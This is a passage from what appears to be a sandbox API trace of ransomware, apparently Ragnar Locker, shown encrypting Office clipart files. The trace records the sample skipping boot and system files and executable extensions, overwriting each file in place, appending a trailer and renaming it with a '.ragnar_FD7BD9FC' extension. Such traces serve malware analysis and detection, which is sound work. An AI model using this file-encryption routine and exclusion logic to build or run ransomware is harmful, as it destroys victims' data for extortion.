office\\clipart\\pub60cor\\hh00260_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.459] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0082.459] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.459] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00276_.WMF" | out: lpString1="HH00276_.WMF") returned="HH00276_.WMF" [0082.459] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned=".WMF" [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="autorun.inf") returned 1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="boot.ini") returned 1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="bootfont.bin") returned 1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="bootsect.bak") returned 1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="bootmgr") returned 1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="bootmgr.efi") returned 1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="desktop.ini") returned 1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="iconcache.db") returned -1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="ntldr") returned -1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="ntuser.dat") returned -1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="ntuser.ini") returned -1 [0082.459] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="thumbs.db") returned -1 [0082.459] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.459] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.459] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.459] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.459] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.459] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.459] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20 [0082.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.460] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3016) returned 1 [0082.460] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.460] GetProcessHeap () returned 0x580000 [0082.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.460] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.461] VirtualAlloc (lpAddress=0x0, dwSize=0xbc8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.461] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.462] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbc8, lpOverlapped=0x0) returned 1 [0082.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.462] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbc8, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.462] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbc8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbc8, lpOverlapped=0x0) returned 1 [0082.462] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbc8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.462] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.462] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.462] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.462] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.462] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.462] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.463] GetProcessHeap () returned 0x580000 [0082.463] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.463] CloseHandle (hObject=0xf4) returned 1 [0082.463] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" [0082.463] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.ragnar_FD7BD9FC" [0082.463] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.463] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0082.463] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.463] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00334_.WMF" | out: lpString1="HH00334_.WMF") returned="HH00334_.WMF" [0082.463] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned=".WMF" [0082.463] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.463] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="autorun.inf") returned 1 [0082.463] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="boot.ini") returned 1 [0082.463] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="bootfont.bin") returned 1 [0082.463] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="bootsect.bak") returned 1 [0082.463] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="bootmgr") returned 1 [0082.463] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="bootmgr.efi") returned 1 [0082.464] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.464] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="desktop.ini") returned 1 [0082.464] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="iconcache.db") returned -1 [0082.464] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="ntldr") returned -1 [0082.464] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="ntuser.dat") returned -1 [0082.464] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.464] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="ntuser.ini") returned -1 [0082.464] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="thumbs.db") returned -1 [0082.464] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.464] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.464] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.464] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.464] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.464] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.464] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x20 [0082.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.464] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1528) returned 1 [0082.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.464] GetProcessHeap () returned 0x580000 [0082.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.464] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.466] VirtualAlloc (lpAddress=0x0, dwSize=0x5f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.466] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.466] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.466] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5f8, lpOverlapped=0x0) returned 1 [0082.466] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.466] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.466] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5f8, lpOverlapped=0x0) returned 1 [0082.469] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.469] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.469] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.469] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.469] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.469] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.469] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.469] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.469] GetProcessHeap () returned 0x580000 [0082.469] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.469] CloseHandle (hObject=0xf4) returned 1 [0082.469] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" [0082.470] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.ragnar_FD7BD9FC" [0082.470] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.470] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0082.470] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.470] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00443_.WMF" | out: lpString1="HH00443_.WMF") returned="HH00443_.WMF" [0082.470] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned=".WMF" [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="autorun.inf") returned 1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="boot.ini") returned 1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="bootfont.bin") returned 1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="bootsect.bak") returned 1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="bootmgr") returned 1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="bootmgr.efi") returned 1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="desktop.ini") returned 1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="iconcache.db") returned -1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="ntldr") returned -1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="ntuser.dat") returned -1 [0082.470] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.471] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="ntuser.ini") returned -1 [0082.471] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="thumbs.db") returned -1 [0082.471] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.471] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.471] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.471] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.471] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.471] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.471] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x20 [0082.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.472] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3298) returned 1 [0082.472] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.472] GetProcessHeap () returned 0x580000 [0082.472] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.472] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.473] VirtualAlloc (lpAddress=0x0, dwSize=0xce2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.473] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xce2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xce2, lpOverlapped=0x0) returned 1 [0082.474] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.474] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xce2, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.474] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xce2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xce2, lpOverlapped=0x0) returned 1 [0082.474] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xce2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.474] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.474] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xce2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.474] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.474] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.474] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.474] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.474] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.474] GetProcessHeap () returned 0x580000 [0082.474] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.474] CloseHandle (hObject=0xf4) returned 1 [0082.474] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" [0082.475] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.ragnar_FD7BD9FC" [0082.475] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.475] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00513_.WMF", 